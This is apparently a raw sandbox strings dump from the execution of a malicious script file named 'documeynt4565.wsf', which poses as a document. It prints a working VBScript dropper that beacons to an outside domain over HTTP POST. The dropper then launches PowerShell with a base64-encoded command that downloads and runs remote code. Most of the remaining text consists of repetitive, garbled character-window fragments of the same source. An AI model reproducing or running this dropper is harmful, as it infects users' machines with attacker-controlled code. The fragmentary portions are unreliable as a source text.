Service Pack 1
kernel32.dll
SetThreadUILanguage
"C:\Windows\System32\CScript.exe"  "C:\Users\5P5NRG~1\Desktop\documeynt4565.wsf" 
Software\Microsoft\Windows Script Host\Settings
IgnoreUserSettings
Enabled
LogSecuritySuccesses
HeapSetInformation
C:\Windows\System32\CScript.exe
\
TrustPolicy
UseWINSAFER
1
0
no
false
Timeout
DisplayLogo
C:\Users\5P5NRG~1\Desktop\documeynt4565.wsf
wsf
WSH
Microsoft (R) Windows Script Host Version %1!u!.%2!u!
Copyright (C) Microsoft Corporation. All rights reserved.


Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

Windows Script Host
WSH-Timer
documeynt4565.wsf
.wsf
WSFFile\ScriptEngine
urlmon.dll
CreateURLMonikerEx
þ
<?xml
encoding
windows-1251(
UTF-8
file:///C:/Users/5P5NRG~1/Desktop/documeynt4565.wsf
C:\Windows\system32\shlwapi.dll
PathCreateFromUrlW
version
standalone
package
job
id
script
language
VBScript
C:\Windows\system32\advapi32.dll
SaferIdentifyLevel
SaferComputeTokenFromLevel
SaferCloseLevel
.vbs
.vbe
.jse
windows-1251
<?xml version

<signature>
?xml version=
xml version='
ml version='1
l version='1.
 version='1.0
version='1.0'
ersion='1.0' 
rsion='1.0' e
sion='1.0' en
ion='1.0' enc
on='1.0' enco
n='1.0' encod
='1.0' encodi
'1.0' encodin
1.0' encoding
.0' encoding=
0' encoding='
' encoding='w
 encoding='wi
encoding='win
ncoding='wind
coding='windo
oding='window
ding='windows
ing='windows-
ng='windows-1
g='windows-12
='windows-125
'windows-1251
windows-1251'
indows-1251' 
ndows-1251' s
dows-1251' st
ows-1251' sta
ws-1251' stan
s-1251' stand
-1251' standa
1251' standal
251' standalo
51' standalon
1' standalone
' standalone=
 standalone='
standalone='y
tandalone='ye
andalone='yes
ndalone='yes'
dalone='yes'?
alone='yes'?>
lone='yes'?>
one='yes'?>

ne='yes'?>
<
e='yes'?>
<p
='yes'?>
<pa
'yes'?>
<pac
yes'?>
<pack
es'?>
<packa
s'?>
<packag
'?>
<package
?>
<package>
>
<package>

<package>


<package>
<
<package>
<j
package>
<jo
ackage>
<job
ckage>
<job 
kage>
<job i
age>
<job id
ge>
<job id=
e>
<job id='
>
<job id='j

<job id='jo

<job id='job
<job id='job1
job id='job1'
ob id='job1'>
b id='job1'>
 id='job1'>

id='job1'>
<
d='job1'>
<s
='job1'>
<sc
'job1'>
<scr
job1'>
<scri
ob1'>
<scrip
b1'>
<script
1'>
<script 
'>
<script l
>
<script la

<script lan

<script lang
<script langu
script langua
cript languag
ript language
ipt language=
pt language='
t language='V
 language='VB
language='VBS
anguage='VBSc
nguage='VBScr
guage='VBScri
uage='VBScrip
age='VBScript
ge='VBScript'
e='VBScript'>
='VBScript'><
'VBScript'><!
VBScript'><![
BScript'><![C
Script'><![CD
cript'><![CDA
ript'><![CDAT
ipt'><![CDATA
pt'><![CDATA[
t'><![CDATA[
'><![CDATA[

><![CDATA[

<![CDATA[


![CDATA[

	
[CDATA[

	F
CDATA[

	Fu
DATA[

	Fun
ATA[

	Func
TA[

	Funct
A[

	Functi
[

	Functio


	Function


	Function 

	Function m

	Function ma
	Function mal
Function malo
unction malon
nction maloni
ction malonio
tion malonios
ion maloniosp
on maloniospd
n maloniospds
 maloniospdsc
maloniospdscn
aloniospdscna
loniospdscnac
oniospdscnacc
niospdscnacci
iospdscnacci(
ospdscnacci(c
spdscnacci(cl
pdscnacci(clo
dscnacci(clou
scnacci(cloud
cnacci(clouds
nacci(cloudss
acci(cloudssd
cci(cloudssds
ci(cloudssdsO
i(cloudssdsOS
(cloudssdsOSo
cloudssdsOSos
loudssdsOSosA
oudssdsOSosAT
udssdsOSosATZ
dssdsOSosATZZ
ssdsOSosATZZP
sdsOSosATZZPP
dsOSosATZZPP)
sOSosATZZPP)
OSosATZZPP)

SosATZZPP)

osATZZPP)


sATZZPP)

	
ATZZPP)

	I
TZZPP)

	If
ZZPP)

	If 
ZPP)

	If c
PP)

	If cl
P)

	If clo
)

	If clou


	If cloud


	If clouds

	If cloudss

	If cloudssd
	If cloudssds
If cloudssdsO
f cloudssdsOS
 cloudssdsOSo
dsOSosATZZPP 
sOSosATZZPP <
OSosATZZPP < 
SosATZZPP < 2
osATZZPP < 2 
sATZZPP < 2 T
ATZZPP < 2 Th
TZZPP < 2 The
ZZPP < 2 Then
ZPP < 2 Then
PP < 2 Then

P < 2 Then

 < 2 Then


< 2 Then

	
 2 Then

		
2 Then

		m
 Then

		ma
Then

		mal
hen

		malo
en

		malon
n

		maloni


		malonio


		malonios

		maloniosp

		maloniospd
		maloniospds
	maloniospdsc
iospdscnacci 
ospdscnacci =
spdscnacci = 
pdscnacci = c
dscnacci = cl
scnacci = clo
cnacci = clou
nacci = cloud
acci = clouds
cci = cloudss
ci = cloudssd
i = cloudssds
 = cloudssdsO
= cloudssdsOS
1252
ole32.dll
CoCreateInstance
VBScript:00002456:00002472:18106969
VBScript:00002456:00002472:18107016
WScript
 n  1: 1; 1: 1; 2: 2; 3: 3; 5: 5; 8: 8; 13: 13; 21: 21; 34: 34; 55: 55; 89: 89; 144: 144; 233: 233; 377: 377; 610: 610; 987: 987; 
CLSIDFromProgIDEx
Scripting.FileSystemObject
CoGetClassObject
Drives
DriveType
RootFolder
Microsoft.XMLHTTP
Open
post
Send
u=4565&id=plis&k=4565&u=4565
msxml3.dll
Unspecified error

responseText
The data necessary to complete this operation is not yet available.

Status
https://lotoposols.xyz
Dim golovs, powernols, masnoslo, nilops
set winsh = CreateObject("WScript.Shell")
set winenv = winsh.Environment("Process")
windir = winenv("WINDIR")
set Firraryuq2 = CreateObject("shell.application")
masnoslo = windir+"\SysWOW64\WindowsPowerS"&"hell\v1.0\power"&"she"&"ll"
nilops = 0
Firraryuq2.ShellExecute masnoslo, " -EnC SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGUAcgB0AGkAZwAuAGkAbgBmAG8AOgA0ADQAMwAvAGMAaABrAGUAcwBvAHMAbwBkAC8AZABvAHcAbgBzAC8AawB3AGYAcwBoAFEATQBaAEUAYQBqAGsARgB4ACcAKQA7AA==", "", "open", nilops
masnoslo = windir+"\System32\WindowsPowerS"&"hell\v1.0\power"&"she"&"ll"
Firraryuq2.ShellExecute masnoslo, " -EnC SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGUAcgB0AGkAZwAuAGkAbgBmAG8AOgA0ADQAMwAvAGMAaABrAGUAcwBvAHMAbwBkAC8AZABvAHcAbgBzAC8AawB3AGYAcwBoAFEATQBaAEUAYQBqAGsARgB4ACcAKQA7AA==", "", "open", nilops
set Firraryuq2 = nothing
set winsh = nothing

WScript.Shell
\wscript.exe
\CScript.exe
\cscript.exe
Process
SYSTEM
USER
VOLATILE
PROCESS
WINDIR
shell.application
ShellExecute
open
 -EnC SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGUAcgB0AGkAZwAuAGkAbgBmAG8AOgA0ADQAMwAvAGMAaABrAGUAcwBvAHMAbwBkAC8AZABvAHcAbgBzAC8AawB3AGYAcwBoAFEATQBaAEUAYQBqAGsARgB4ACcAKQA7AA==
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
'Thank You: 6767537
'Thank You: 7881201
'Thank You: 082624
'Thank You: 3226803
'Thank You: 26430
'Thank You: 36154601
'Thank You: 33857708
'Thank You: 24237860
'Thank You: 4287280
'Thank You: 0210343
'Thank You: 85451
'Thank You: 702527021
'Thank You: 362835085
'Thank You: 5214462
'Thank You: 23388
'Thank You: 33702